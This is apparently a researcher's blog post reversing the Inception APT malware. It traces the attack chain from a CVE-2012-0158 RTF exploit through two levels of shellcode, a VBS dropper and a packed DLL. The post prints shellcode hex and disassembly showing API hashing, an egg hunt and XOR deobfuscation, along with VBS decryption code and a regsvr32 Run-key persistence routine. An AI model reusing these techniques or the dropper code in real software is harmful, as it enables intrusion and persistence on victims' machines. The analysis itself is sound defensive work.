

Reversing the Inception APT malware

After reading the Inception paper by Snorre Fagerland and Waylon Grange, I got curious about this threat and did some reversing. I felt that it would be good to write a technical blog about the process - maybe it could be helpful or interesting for some.

RTF file Analysis

MD5: 4a4874fa5217a8523bf4d1954efb26ef

Exploit: CVE-2012-0158

As we can see in following screen shot, this is a RTF [Rich Text Format] file. Its common that attackers use document files such as these as bait.

```
00000000: 7B 5C 72 74 66 31 7B 5C 6F 62 6A 65 63 74 5C 6F 4\rtf1\object\o
00000010: 62 6A 6F 63 78 7B 5C 2A 5C 6F 62 6A 64 61 74 61 bjocx\*\objdata
00000020: 0D 30 31 30 35 30 30 30 30 0D 30 32 30 30 30 30 P01050000P020000
00000030: 30 30 0D 31 36 30 30 30 30 30 30 0D 36 66 37 34 00P16000000P6f74
00000040: 36 62 36 63 36 66 36 31 36 34 37 32 32 65 35 37 6b6c6f6164722e57
00000050: 35 32 34 31 37 33 37 33 36 35 36 64 36 32 36 63 52417373656d626c
00000060: 37 39 32 65 33 31 30 30 0D 30 30 30 30 30 30 30 792e3100P0000000
00000070: 30 0D 30 30 30 30 30 30 30 30 0D 30 31 30 30 30 0P00000000P01000
00000080: 30 30 30 0D 34 31 0D 30 31 30 35 30 30 30 30 0D 000P41P01050000P
00000090: 30 30 30 30 30 30 30 30 0D 7D 7D 5C 61 64 65 66 00000000P\>>adef
```

It is common that shellcode starts with a NOPsled. In following screenshot we can see that the embedded shellcode starts with NOP slide. NOP, or No OPERATION - is a single-byte opcode that does nothing. It has the hex value of 0x90.

```
00004B30: 39 30 39 30 39 30 39 30 39 30 39 30 39 30 9090909090909090
00004B40: 39 30 39 30 39 30 38 31 65 63 30 30 31 30 30 30 90909081ec001000
00004B50: 30 30 38 62 65 63 33 33 63 39 36 34 38 62 33 35 008bec33c9648b35
00004B60: 33 30 30 30 30 30 30 30 38 62 37 36 30 63 38 62 300000008b760c8b
00004B70: 37 36 31 63 38 62 35 65 30 38 38 62 34 36 30 38 761c8b5e088b4608
00004B80: 38 62 37 65 32 30 38 62 33 36 36 36 33 39 34 66 8b7e208b3666394f
00004B90: 31 38 37 35 66 32 38 39 35 64 30 34 38 39 34 35 1875f2895d048945
00004BA0: 30 38 66 66 37 35 30 38 36 38 61 64 39 62 37 64 08ff750868ad9b7d
00004BB0: 64 66 65 38 62 66 30 30 30 30 30 30 38 39 34 35 dfe8bf0000008945
00004BC0: 32 30 66 66 37 35 30 38 36 38 35 34 63 61 61 66 20ff75086854caaf
00004BD0: 39 31 65 38 61 66 30 30 30 30 30 30 38 39 34 35 91e8af0000008945
00004BE0: 32 34 66 66 37 35 30 38 36 38 61 63 30 38 64 61 24ff750868ac08da
00004BF0: 37 36 65 38 39 66 30 30 30 30 30 30 38 39 34 35 76e89f0000008945
00004C00: 32 38 66 66 37 35 30 38 36 38 31 36 36 35 66 61 28ff7508681665fa
00004C10: 31 30 65 38 38 66 30 30 30 30 30 30 38 39 34 35 10e88f0000008945
00004C20: 32 63 36 61 30 34 35 65 35 34 35 36 66 66 35 35 2c6a045e5456ff55
00004C30: 32 30 38 39 38 35 39 34 30 30 30 30 30 30 38 33 2089859400000083
```

Embedded Shellcode Analysis - First Level

Now, to the functionality of the shellcode. We will ignore the first two prolog instructions, and for remaining statements I have inserted comments to help understanding what is happening in this chunk of

code. It's traversing the TEB, the PEB and the Ldr structure to get the base addresses of ntdll.dll and kernel32.dll. It needs these to find the API addresses it requires for the rest of the infection.

00120E88	81EC 00100000	SUB ESP,1000	
00120E8E	8BEC	MOV EBP,ESP	
00120E90	33C9	XOR ECX,ECX	
00120E92	64:8B35 30000000	MOV ESI,DWORD PTR FS:[30]	ESI=PEB
00120E99	8B76 0C	MOV ESI,DWORD PTR DS:[ESI+C]	ESI=PEB->Ldr
00120E9C	8B76 1C	MOV ESI,DWORD PTR DS:[ESI+1C]	PEB->Ldr.InInitOrder
00120E9F	8B5E 08	MOV EBX,DWORD PTR DS:[ESI+8]	EBX = InInitOrder[X].base_address
00120EA2	8B46 08	MOV EAX,DWORD PTR DS:[ESI+8]	
00120EA5	8B7E 20	MOV EDI,DWORD PTR DS:[ESI+20]	
00120EA8	8B36	MOV ESI,DWORD PTR DS:[ESI]	
00120EAA	66:394F 18	CMP WORD PTR DS:[EDI+18],CX	Loop to find Kernel32.dll Base address
00120EAE	75 F2	JNZ SHORT 00120EA2	
00120EB0	895D 04	MOV DWORD PTR SS:[EBP+4],EBX	ntdll.7C900000
00120EB3	8945 08	MOV DWORD PTR SS:[EBP+8],EAX	kernel32.7C800000

In screenshot below, Function 00120F82 is the malware's own GetProcAddress function which takes two parameters

1. Base address of the system dll
2. Hash of the API name.

The function returns the memory address of the API.

FF75 08	PUSH DWORD PTR SS:[EBP+8]	kerne132.7C800000
68 AD9B7DDF	PUSH DF7D9BAD	
E8 BF000000	CALL 00120F82	Hash for GetFileSize
8945 20	MOV DWORD PTR SS:[EBP+20],EAX	kerne132.7C800000
FF75 08	PUSH DWORD PTR SS:[EBP+8]	kerne132.7C800000
68 54CAAF91	PUSH 91AFCA54	Hash for VirtualAlloc
E8 AF000000	CALL 00120F82	
8945 24	MOV DWORD PTR SS:[EBP+24],EAX	kerne132.7C800000
FF75 08	PUSH DWORD PTR SS:[EBP+8]	kerne132.7C800000
68 AC08DA76	PUSH 76DA08AC	Hash for SetFilePointer
E8 9F000000	CALL 00120F82	
8945 28	MOV DWORD PTR SS:[EBP+28],EAX	kerne132.7C800000
FF75 08	PUSH DWORD PTR SS:[EBP+8]	kerne132.7C800000
68 1665FA10	PUSH 10FA6516	Hash for ReadFile
E8 8F000000	CALL 00120F82	
8945 2C	MOV DWORD PTR SS:[EBP+2C],EAX	kerne132.7C800000

Functionality of function 00120F82 (GetProcAddress)

As shown in the next screenshot, this function parses the “export name pointer table” of the .dll [ex. kernel32.dll] and generates a hash for each function. It compares this with the argument API hash (Ex DF7D9BAD for GetFileSize, see above screenshot) using the CMP EDI, ESI instruction. Once the matching API is found it parses the Export Address Table and returns the respective API address to the caller in EAX register.

00120F82	55	PUSH EBP
00120F83	8BEC	MOV EBP,ESP
00120F85	57	PUSH EDI
00120F86	8B7D 08	MOV EDI,DWORD PTR SS:[EBP+8]
00120F89	8B5D 0C	MOV EBX,DWORD PTR SS:[EBP+C]
00120F8C	56	PUSH ESI
00120F8D	8B73 3C	MOV ESI,DWORD PTR DS:[EBX+3C]
00120F90	EB 06	JMP SHORT 00120F98
00120F92	90	NOP
00120F93	90	NOP
00120F94	90	NOP
00120F95	90	NOP
00120F96	90	NOP
00120F97	90	NOP
00120F98	8B7433 78	MOV ESI,DWORD PTR DS:[EBX+ESI+78]
00120F9C	03F3	ADD ESI,EBX
00120F9E	56	PUSH ESI
00120F9F	8B76 20	MOV ESI,DWORD PTR DS:[ESI+20]
00120FA2	03F3	ADD ESI,EBX
00120FA4	33C9	XOR ECX,ECX
00120FA6	49	DEC ECX
00120FA7	41	INC ECX
00120FA8	AD	LODS DWORD PTR DS:[ESI]
00120FA9	03C3	ADD EAX,EBX
00120FAB	56	PUSH ESI
00120FAC	33F6	XOR ESI,ESI
00120FAE	0FBE10	MOVSX EDX,BYTE PTR DS:[EAX]
00120FB1	38D6	CMP DH,DL
00120FB3	74 08	JE SHORT 00120FBD
00120FB5	C1CE 0D	ROR ESI,0D
00120FB8	03F2	ADD ESI,EDX
00120FBA	40	INC EAX
00120FBB	EB F1	JMP SHORT 00120FAE
00120FBD	3BFE	CMP EDI,ESI
00120FBF	5E	POP ESI
00120FC0	75 E5	JNZ SHORT 00120FA7
00120FC2	5A	POP EDX
00120FC3	8BEB	MOV EBP,EBX
00120FC5	8B5A 24	MOV EBX,DWORD PTR DS:[EDX+24]
00120FC8	03DD	ADD EBX,EBP
00120FCA	66 :8B0C4B	MOV CX,WORD PTR DS:[EBX+ECX*2]
00120FCE	8B5A 1C	MOV EBX,DWORD PTR DS:[EDX+1C]
00120FD1	03DD	ADD EBX,EBP
00120FD3	8B048B	MOV EAX,DWORD PTR DS:[EBX+ECX*4]
00120FD6	03C5	ADD EAX,EBP
00120FD8	5E	POP ESI
00120FD9	5F	POP EDI
00120FDA	5D	POP EBP
00120FDB	C2 0800	RETN 8

The document contains two levels of shellcode. We are analyzing first level, and in the following code we can see a typical egghunting method: It attempts to open the already opened rtf file by checking file handles in memory. It starts with a handle with the value 4 and verifies it by doing GetFileSize on it. If this fails it does ADD ESI,4 again (adds 4 to the handle) until the API succeeds. When this happens it checks the file offset 0x8300 for the marker 0x54405450. Again, if this matches up, it allocates memory into which it reads the file content and jumps to the 2nd level shellcode with a JMP EBX.

00120EF6	6A 04	PUSH 4	
00120EF8	5E	POP ESI	
00120EF9	54	PUSH ESP	
00120EFA	56	PUSH ESI	
00120EFB	FF55 20	CALL DWORD PTR SS:[EBP+20]	kernel32.GetFileSize
00120EFE	8985 94000000	MOV DWORD PTR SS:[EBP+94],EAX	kernel32.ReadFile
00120F04	83F8 FF	CMP EAX,-1	
00120F07	75 06	JNZ SHORT 00120F0F	
00120F09	83C6 04	ADD ESI,4	
00120F0C	56	PUSH ESI	
00120F0D	EB E9	JMP SHORT 00120EF8	
00120F0F	83F8 00	CMP EAX,0	
00120F12	76 F5	JBE SHORT 00120F09	
00120F14	6A 00	PUSH 0	
00120F16	6A 00	PUSH 0	
00120F18	68 00830000	PUSH 8300	Marker Offset in .rft file
00120F1D	56	PUSH ESI	
00120F1E	FF55 28	CALL DWORD PTR SS:[EBP+28]	kernel32.SetFilePointer
00120F21	8D85 90000000	LEA EAX,DWORD PTR SS:[EBP+90]	
00120F27	6A 00	PUSH 0	
00120F29	50	PUSH EAX	kernel32.ReadFile
00120F2A	6A 08	PUSH 8	
00120F2C	8D85 9C000000	LEA EAX,DWORD PTR SS:[EBP+9C]	kernel32.ReadFile
00120F32	50	PUSH EAX	kernel32.ReadFile
00120F33	56	PUSH ESI	
00120F34	FF55 2C	CALL DWORD PTR SS:[EBP+2C]	kernel32.ReadFile
00120F37	81BD 9C000000 50544054	CMP DWORD PTR SS:[EBP+9C],54405450	Egg Hunt Marker for Second level Shell code
00120F41	75 C6	JNZ SHORT 00120F09	
00120F43	89B5 98000000	MOV DWORD PTR SS:[EBP+98],ESI	
00120F49	6A 40	PUSH 40	
00120F4B	68 00100000	PUSH 1000	
00120F50	FFB5 A0000000	PUSH DWORD PTR SS:[EBP+A0]	
00120F56	6A 00	PUSH 0	
00120F58	FF55 24	CALL DWORD PTR SS:[EBP+24]	kernel32.VirtualAlloc
00120F5B	8985 A4000000	MOV DWORD PTR SS:[EBP+A4],EAX	kernel32.ReadFile
00120F61	8D9D 90000000	LEA EBX,DWORD PTR SS:[EBP+90]	
00120F67	6A 00	PUSH 0	
00120F69	53	PUSH EBX	kernel32.7C802654
00120F6A	FFB5 A0000000	PUSH DWORD PTR SS:[EBP+A0]	
00120F70	50	PUSH EAX	kernel32.ReadFile
00120F71	FFB5 98000000	PUSH DWORD PTR SS:[EBP+98]	
00120F77	FF55 2C	CALL DWORD PTR SS:[EBP+2C]	kernel32.ReadFile
00120F7A	8B9D A4000000	MOV EBX,DWORD PTR SS:[EBP+A4]	
00120F80	- FFE3	JMP EBX	Skip marker and Jump to second level shellcode

Second Level Shell Code Analysis

Now we have landed into the second level shellcode, but it is obfuscated to evade static analysis. At the initial stage there are few instructions waiting to help us. This is the deobfuscation code. We can see that $0x23B * 4$ is the number of bytes obfuscated, POP EBX is the get EIP instruction and $0x5687F945$ is the deobfuscation XOR key.

Before Deobfuscation		After DeObfuscation	
017F0000	NOP	NOP	
017F0001	NOP	NOP	
017F0002	PREFETCH QWORD PTR DS:[EAX]	PREFETCH QWORD PTR DS:[EAX]	
017F0005	XOR ECX,ECX	XOR ECX,ECX	
017F0007	MOV ECX,23B	MOV ECX,23B	
017F000C	FSTP SI	FSTP SI	
017F000E	NOP	NOP	
017F000F	FSTENV <28-BYTE> PTR SS:[ESP-C]	FSTENV <28-BYTE> PTR SS:[ESP-C]	
017F0013	POP EBX	POP EBX	
017F0014	XOR DWORD PTR DS:[EBX+14],5687F945	XOR DWORD PTR DS:[EBX+14],5687F945	
017F001B	SUB EBX,-4	SUB EBX,-4	
017F001E	LOOPD SHORT 017F0014	LOOPD SHORT 017F0014	
017F0020	LDS DWORD PTR DS:[ESI]	CALL 017F0079	
017F0021	LDS DWORD PTR DS:[ESI]	LDS DWORD PTR DS:[ESI]	
017F0022	XCHG DWORD PTR DS:[ESI+45],EDX	WAIT	
017F0025	PUSH ESP	JGE SHORT 017F0008	
017F0026	SBB AL,2B	LDS BYTE PTR DS:[ESI]	
017F0028	CALL FAR E2EF:338C8F55	OR DL,BL	
017F002F	LDS BYTE PTR DS:[ESI]	JBE SHORT 017F0044	
017F0030	PUSH EBP	CLI	
017F0031	ADC EAX,2495510	ADC AH,CH	
017F0036	ADC BYTE PTR DS:[EBX+DC4DCA4A],CH	XCHG EAX,EDI	
017F003C	PUSH DS	ADD ECX,DWORD PTR DS:[EBX+EDI*8]	
017F003D	ADC ECX,ESI	XCHG EAX,EDI	
017F003F	FSUBR QWORD PTR SS:[EBP+AC750D20]	STD	
017F0045	POPAD	RDPMS	
017F0046	JNS SHORT 017F0024	RETF 5B8A	
017F0048	DEC EBX	JMP FAR 238A:D9E88A49	
017F0049	MOV ESP,ESI	JMP 1009FEE1	
017F004B	MOV ECX,EFA50F73	JO SHORT 017F00BE	
017F0050	CMP DWORD PTR DS:[EDI+E636B45F],EAX	OUT DX,EAX	
017F0056	???	MUL BYTE PTR SS:[EDX]	
017F0057	POP ESP	MOV ECX,E2D87E7C	
017F0058	LDS DWORD PTR DS:[ESI]	JNB SHORT 017F0075	
017F0059	JA SHORT 017F0024	JNS SHORT 017F0062	
017F005B	POP EAX	CALL ED8D4EEB	

In following code we can see the hexadecimal value that corresponds to the library name being pushed to the LoadLibrary function, as well as two loops to get the API addresses using “CALL 02E203E2” function. Here also it uses hashes to look up APIs.

Hash	API	Hash	API
73E2D87E	ExitProcess	0C0397EC	GlobalAlloc
7CB922F6	GlobalFree	10FA6516	ReadFile
36EF7370	GetCommandLineA	76DA08AC	SetFilePointer
0E8AFE98	WinExec	DF7D9BAD	GetFileSize
E9238AD9	_lwrite	6DD38706	CoUninitialize
E88A49EA	_lcreat	EB9E05F5	CoSetProxyBlanket
5B8ACA33	GetTempPathA	6E26C880	CoCreateInstance
0FFD97FB	CloseHandle	7FC7A3CB	CoInitializeEx

02E200A7	50	PUSH EAX	
02E200A8	68 656C3332	PUSH 32336C65	
02E200AD	68 6B65726E	PUSH 6E72656B	Kernel32
02E200B2	8BC4	MOU EAX,ESP	
02E200B4	50	PUSH EAX	
02E200B5	FF57 3C	CALL DWORD PTR DS:[EDI+3C]	kernel132.LoadLibraryA
02E200B8	8BD8	MOU EBX,EAX	
02E200BA	6A 10	PUSH 10	
02E200BC	59	POP ECX	
02E200BD	8B7D FC	MOU EDI,DWORD PTR SS:[EBP-4]	
02E200C0	51	PUSH ECX	
02E200C1	53	PUSH EBX	
02E200C2	FF748F FC	PUSH DWORD PTR DS:[EDI+ECX*4-4]	kernel132.7C800000
02E200C6	E8 17030000	CALL 02E203E2	
02E200CB	59	POP ECX	
02E200CC	89448F FC	MOU DWORD PTR DS:[EDI+ECX*4-4],EAX	
02E200D0	E2 EE	LOOPD SHORT 02E200C0	
02E200D2	33C0	XOR EAX,EAX	
02E200D4	50	PUSH EAX	
02E200D5	68 646C6C00	PUSH 6C6C64	
02E200DA	68 6173652E	PUSH 2E657361	combase.dll
02E200DF	68 636F6D62	PUSH 626D6F63	
02E200E4	8BC4	MOU EAX,ESP	
02E200E6	50	PUSH EAX	
02E200E7	FF57 34	CALL DWORD PTR DS:[EDI+34]	kernel132.LoadLibraryA
02E200EA	83F8 00	CMP EAX,0	
02E200ED	75 12	JNZ SHORT 02E20101	
02E200EF	6A 6C	PUSH 6C	
02E200F1	68 322E646C	PUSH 6C642E32	
02E200F6	68 6F6C6533	PUSH 33656C6F	ole32.dll
02E200FB	8BC4	MOU EAX,ESP	
02E200FD	50	PUSH EAX	
02E200FE	FF57 34	CALL DWORD PTR DS:[EDI+34]	kernel132.LoadLibraryA
02E20101	8BD8	MOU EBX,EAX	
02E20103	6A 05	PUSH 5	
02E20105	59	POP ECX	
02E20106	8B7D FC	MOU EDI,DWORD PTR SS:[EBP-4]	
02E20109	83C1 10	ADD ECX,10	
02E2010C	51	PUSH ECX	
02E2010D	53	PUSH EBX	
02E2010E	FF748F FC	PUSH DWORD PTR DS:[EDI+ECX*4-4]	kernel132.7C800000
02E20112	E8 CB020000	CALL 02E203E2	
02E20117	59	POP ECX	
02E20118	89448F FC	MOU DWORD PTR DS:[EDI+ECX*4-4],EAX	
02E2011C	83E9 10	SUB ECX,10	
02E2011F	E2 E8	LOOPD SHORT 02E20109	

In the following code it searches for the embedded VBS file inside the RTF file in memory. It checks for the file size in a loop, and if the size is larger than 0x2000 then it sets the file pointer to 0x8C14 to compare with the VBS file marker as we can see in following screenshot.

02E20121	6A 01	PUSH 1	
02E20123	5E	POP ESI	
02E20124	8D45 F4	LEA EAX, DWORD PTR SS:[EBP-C]	
02E20127	50	PUSH EAX	
02E20128	56	PUSH ESI	
02E20129	8B07	MOV EAX, DWORD PTR DS:[EDI]	kernel32.GetFileSize
02E2012B	FFD0	CALL EAX	
02E2012D	8945 F0	MOV DWORD PTR SS:[EBP-10], EAX	
02E20130	83F8 FF	CMP EAX, -1	
02E20133	75 04	JNZ SHORT 02E20139	
02E20135	46	INC ESI	
02E20136	56	PUSH ESI	
02E20137	EB EA	JMP SHORT 02E20123	
02E20139	3D 00200000	CMP EAX, 2000	
02E2013E	77 04	JA SHORT 02E20144	
02E20140	46	INC ESI	
02E20141	56	PUSH ESI	
02E20142	EB DF	JMP SHORT 02E20123	
02E20144	6A 00	PUSH 0	
02E20146	6A 00	PUSH 0	
02E20148	68 148C0000	PUSH 8C14	
02E2014D	56	PUSH ESI	
02E2014E	8B47 04	MOV EAX, DWORD PTR DS:[EDI+4]	kernel32.SetFilePointer
02E20151	FFD0	CALL EAX	
02E20153	6A 00	PUSH 0	
02E20155	8D45 EC	LEA EAX, DWORD PTR SS:[EBP-14]	
02E20158	50	PUSH EAX	
02E20159	6A 08	PUSH 8	
02E2015B	8D45 B8	LEA EAX, DWORD PTR SS:[EBP-48]	
02E2015E	50	PUSH EAX	
02E2015F	56	PUSH ESI	
02E20160	8B47 08	MOV EAX, DWORD PTR DS:[EDI+8]	kernel32.ReadFile
02E20163	FFD0	CALL EAX	
02E20165	85C0	TEST EAX, EAX	
02E20167	75 04	JNZ SHORT 02E2016D	
02E20169	46	INC ESI	
02E2016A	56	PUSH ESI	
02E2016B	EB B6	JMP SHORT 02E20123	
02E2016D	817D B8 50645044	CMP DWORD PTR SS:[EBP-48], 44506450	
02E20174	74 04	JE SHORT 02E2017A	VBS file start Marker
02E20176	46	INC ESI	
02E20177	56	PUSH ESI	
02E20178	EB A9	JMP SHORT 02E20123	
02E2017A	817D BC EFFEEAAE	CMP DWORD PTR SS:[EBP-44], AEEAFEEF	
02E20181	74 04	JE SHORT 02E20187	
02E20183	46	INC ESI	
02E20184	56	PUSH ESI	
02E20185	EB 9C	JMP SHORT 02E20123	

After finding the VBS marker in memory, it decrypts the VBS file in two iterations. In the first loop it decrypts and in the second loop it swaps the low and high bytes of the first 0x100 16-bit words, after which it writes the file to a file named "Temp/ew_Rg.vbs".

02E201EC	0345 E8	ADD EAX,DWORD PTR SS:[EBP-18]	
02E201EF	8945 DC	MOV DWORD PTR SS:[EBP-24],EAX	
02E201F2	48	DEC EAX	Decryption Loop
02E201F3	8A9403 308C0000	MOV DL,BYTE PTR DS:[EBX+EAX+8C30]	
02E201FA	32D0	XOR DL,AL	
02E201FC	889403 308C0000	MOV BYTE PTR DS:[EBX+EAX+8C30],DL	
02E20203	85C0	TEST EAX,EAX	
02E20205	77 EB	JL SHORT 02E201F2	
02E20207	8D85 B8FEFFFF	LEA EAX,DWORD PTR SS:[EBP-148]	
02E2020D	50	PUSH EAX	
02E2020E	68 F8000000	PUSH 0F8	
02E20213	FF57 14	CALL DWORD PTR DS:[EDI+14]	kerne132.GetTempPathA
02E20216	8DBB 308C0000	LEA EDI,DWORD PTR DS:[EBX+8C30]	
02E2021C	83C9 FF	OR ECX,FFFFFFFF	
02E2021F	33C0	XOR EAX,EAX	
02E20221	F2:AE	REPNE SCAS BYTE PTR ES:[EDI]	
02E20223	F7D1	NOT ECX	
02E20225	2BF9	SUB EDI,ECX	
02E20227	8BF7	MOV ESI,EDI	
02E20229	8BD1	MOV EDX,ECX	
02E2022B	8DBD B8FEFFFF	LEA EDI,DWORD PTR SS:[EBP-148]	
02E20231	83C9 FF	OR ECX,FFFFFFFF	
02E20234	F2:AE	REPNE SCAS BYTE PTR ES:[EDI]	
02E20236	4F	DEC EDI	
02E20237	8BCA	MOV ECX,EDX	
02E20239	F3:A4	REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]	
02E2023B	6A 02	PUSH 2	
02E2023D	8D85 B8FEFFFF	LEA EAX,DWORD PTR SS:[EBP-148]	
02E20243	50	PUSH EAX	Create ew_Rg.vbs file in Temp
02E20244	8B7D FC	MOV EDI,DWORD PTR SS:[EBP-4]	
02E20247	FF57 18	CALL DWORD PTR DS:[EDI+18]	kerne132._lcreat
02E2024A	83F8 FF	CMP EAX,-1	
02E2024D	75 05	JNZ SHORT 02E20254	
02E2024F	E9 89010000	JMP 02E203DD	
02E20254	8945 C8	MOV DWORD PTR SS:[EBP-38],EAX	
02E20257	8BD0	MOV EDX,EAX	
02E20259	FF75 E8	PUSH DWORD PTR SS:[EBP-18]	
02E2025C	8D83 308C0000	LEA EAX,DWORD PTR DS:[EBX+8C30]	
02E20262	0345 E0	ADD EAX,DWORD PTR SS:[EBP-20]	
02E20265	50	PUSH EAX	
02E20266	52	PUSH EDX	
02E20267	B9 00010000	MOV ECX,100	
02E2026C	8A5448 FE	MOV DL,BYTE PTR DS:[EAX+ECX*2-2]	Swaps bytes within a word
02E20270	8A7448 FF	MOV DH,BYTE PTR DS:[EAX+ECX*2-1]	
02E20274	887448 FE	MOV BYTE PTR DS:[EAX+ECX*2-2],DH	
02E20278	885448 FF	MOV BYTE PTR DS:[EAX+ECX*2-1],DL	Write to ew_Rg.vbs file
02E2027C	E2 EE	LOOPD SHORT 02E2026C	
02E2027E	FF57 1C	CALL DWORD PTR DS:[EDI+1C]	kerne132._lwrite
02E20281	FF75 C8	PUSH DWORD PTR SS:[EBP-38]	
02E20284	FF57 10	CALL DWORD PTR DS:[EDI+10]	kerne132.CloseHandle

Payload .VBS file Analysis

The following screenshot shows a part of the .VBS payload file dropped by .RTF file. First line is the encrypted .dll 4th line contains Key to decrypt the .dll. Remaining part is self-explanatory.

```

c="jxixo`heaiccbcdabllhbbfgd|{~|fbdawl`hfhhea`bdfdbdhfahgea`fga`dhebc`b``fghbehfhbbbfhh`gfdegf` Encrypted DLL
regsvr=""
b="C1129DE3E96440962AA7A5DC1D6B4CAB6A9F2AB4E885842E0E466A9DF99B1DC74A3D2A2061F110E516E9AD41207 Encrypted blob
k="6457608516332341288226746586624154086885102464244618751067104852302006782586882268807" Key to decrypt DLL
n="wmiprvse.dll" Dropped DLL name
nn="munnoptis" Binary blob name
v="pemangkat" Run key

```

The instruction `c = Crypt(c,k)` function decrypts the encrypted dll and returns the decrypted dll. (See the screenshot above)

`c` = encrypted dll.

`k` = decryption key.

```

Function Crypt( Str, Key )
    ReDim RetStr(Len(Str))
    Pos = 1
    For x = 1 To Len(Str)
        RetStr(x) = Chr( Asc(Mid(Str,x,1)) - Asc(Mid(Key,Pos,1)) )
        Pos = Pos + 1
        If Pos > Len(Key) Then Pos = 1
    Next
    Crypt = Join(RetStr,"")
End Function

```

Following function writes byte by byte to the dropped.dll file.

```

Function WB(FN, Buf,sz)
    With fso.OpenTextFile(FN, 2, True)
        For x = 1 To sz Step 2
            .Write Chr(Clng("sh" & Mid(Buf,x,2)))
        Next
        .Close
    End With
End Function

```

Finally, the following code executes the “regsvr32” command to run the wmiprvse.dll in silent mode and sets the run key in registry.

```

For Each a in p
    t = fso.BuildPath( WshShell.ExpandEnvironmentStrings(a), n)
    l = fso.BuildPath( WshShell.ExpandEnvironmentStrings(a), nn)
    WB l, b, Len(b)
    WB t, c, Len(c)
    If( fso.FileExists(l) and fso.FileExists(t) ) Then
        st = regsvr+Chr(34)+t+Chr(34)+" /s"
        If WshShell.Run(st, 0, false) = 0 Then
            objReg.SetExpandedStringValue HCU,regkey,v,st
        End If
    End If
End For
Next

```

'C:\WINDOWS\wmiprvse.dll -> Checks the file exists or not
'regsvr32 "C:\WINDOWS\wmiprvse.dll" /s -> runs this command if file exist
'Sets Run Entry

Payload “wmiprvse.dll” file Analysis

This first level of deobfuscation in wmiprvse.dll takes around 3-4 minutes to finish. Then it allocates memory using VirtualAlloc and writes the unpacked code to newly allocated memory before it jumps to the unpacked code as shown in following screen shot.

This dll has 3 layers of unpacking. The one above is level one, below you can see level two. We can see the passing of the control to the newly unpacked .dll @CALL EAX.

It's very time-consuming to understand the functionality of the dll as it decrypts and builds its own runtime import table to hinder the analysis. Analyst cannot directly see which API gets called.

```

7FF44E75 FF15 6880F57F CALL DWORD PTR DS:[7FF58068]
7FF44E7B 8BF8 MOV EDI,EAX
7FF44E7D 85FF TEST EDI,EDI
7FF44E7F 75 5E JNZ SHORT 7FF44EDF
7FF44E81 3905 3CCFF57F CMP DWORD PTR DS:[7FF5CF3C],EAX
7FF44E87 74 40 JE SHORT 7FF44EC9
7FF44E89 56 PUSH ESI
7FF44E8A E8 9C240000 CALL 7FF4732B
7FF44E8F 59 POP EAX
7FF44E90 85C0 TEST EAX,EAX
7FF44E92 74 1D JE SHORT 7FF44EB1
7FF44E94 83FE E0 CMP ESI,-20
7FF44E97 76 CB JBE SHORT 7FF44E64
7FF44E99 56 PUSH ESI
7FF44E9A E8 8C240000 CALL 7FF4732B
7FF44E9F 59 POP EAX
7FF44EA0 E8 3E1A0000 CALL 7FF468E3
7FF44EA5 C700 0C000000 MOV DWORD PTR DS:[EAX],0C
7FF44EAB 33C0 XOR EAX,EAX
7FF44EAD 5F POP EDI
7FF44EAE 5E POP ESI
7FF44EAF 5D POP EBP
7FF44EB0 C3 RETN
7FF44EB1 E8 2D1A0000 CALL 7FF468E3
7FF44EB6 8BF0 MOV ESI,EAX
7FF44EB8 FF15 4C81F57F CALL DWORD PTR DS:[7FF5814C]
7FF44EBE 50 PUSH EAX
7FF44EBF E8 DD190000 CALL 7FF468A1
7FF44EC4 59 POP EAX
7FF44EC5 8906 MOV DWORD PTR DS:[ESI],EAX
7FF44EC7 EB E2 JMP SHORT 7FF44EAB
7FF44EC9 E8 151A0000 CALL 7FF468E3
7FF44ECE 8BF0 MOV ESI,EAX
7FF44ED0 FF15 4C81F57F CALL DWORD PTR DS:[7FF5814C]
7FF44ED6 50 PUSH EAX
7FF44ED7 E8 C5190000 CALL 7FF468A1
7FF44EDC 59 POP EAX
7FF44EDD 8906 MOV DWORD PTR DS:[ESI],EAX
7FF44EDF 8BC7 MOV EAX,EDI
7FF44EE1 EB CA JMP SHORT 7FF44EAD
7FF44EE3 8BFF MOV EDI,EDI

```

Address	Hex dump	ASCII	0007CCDC	7FF7FBF7	RET
7FF57FF8	00 00 00 00 00 00 00 00	B9 7C DD 77 BA 7F DD 77	0007CCE0	7FF30000	
7FF58008	4D 49 DE 77 A8 7C DD 77	00 00 00 00 7B 99 80 7C	0007CCE4	00000001	
7FF58018	81 9F 80 7C 5A 13 91 7C	E0 10 90 7C 00 10 90 7C	0007CCE8	00000000	
7FF58028	64 A8 80 7C E1 9A 80 7C	74 9B 80 7C 75 FA 80 7C	0007CCEC	00000004	
7FF58038	84 F1 80 7C 65 B4 80 7C	CD BF 80 7C A0 9F 80 7C	0007CCF0	00DA1DD0	
7FF58048	B7 16 83 7C 6E 2B 81 7C	0D FF 90 7C E9 17 80 7C	0007CCF4	7FF30000	
7FF58058	A4 00 91 7C B8 97 80 7C	05 34 91 7C AD 2F 81 7C	0007CCF8	00004550	
7FF58068	80 9B 91 7C 46 2C 81 7C	88 0F 81 7C A5 AB 92 7C	0007CCFC	0004014C	
7FF58078	BA AE 80 7C 1A 1E 80 7C	85 DE 80 7C 6A 3E 86 7C	0007CD00	471D961E	
7FF58088	FD 49 84 7C 23 31 81 7C	30 AE 80 7C CD E4 80 7C	0007CD04	00000000	
7FF58098	FA CA 81 7C 17 0E 81 7C	C9 2F 81 7C DF 33 91 7C	0007CD08	00000000	
7FF580A8	2F 2E 81 7C D0 97 80 7C	55 9C 80 7C 67 37 81 7C	0007CD0C	210200E0	
7FF580B8	F6 97 80 7C 98 C1 80 7C	0A 98 80 7C 46 24 80 7C	0007CD10	000A010B	
7FF580C8	27 CD 80 7C B9 B8 80 7C	E1 0E 81 7C 54 1E 80 7C	0007CD14	00026C00	
7FF580D8	5F B5 80 7C 77 4B 81 7C	64 A1 80 7C 98 2F 81 7C	0007CD18	0000B400	
7FF580E8	B7 A4 80 7C 2E 93 80 7C	B0 99 80 7C DB AE 80 7C	0007CD1C	00000000	
7FF580F8	06 2F 81 7C A5 99 80 7C	37 28 81 7C 5B 11 81 7C	0007CD20	00014E13	
7FF58108	88 9C 80 7C BD 04 91 7C	38 CD 80 7C 20 A5 80 7C	0007CD24	00001000	
7FF58118	12 18 80 7C 1E 0C 81 7C	63 D3 81 7C F3 50 87 7C	0007CD28	00028000	
7FF58128	38 AC 81 7C D1 26 81 7C	9C 54 83 7C F0 07 81 7C	0007CD2C	10000000	
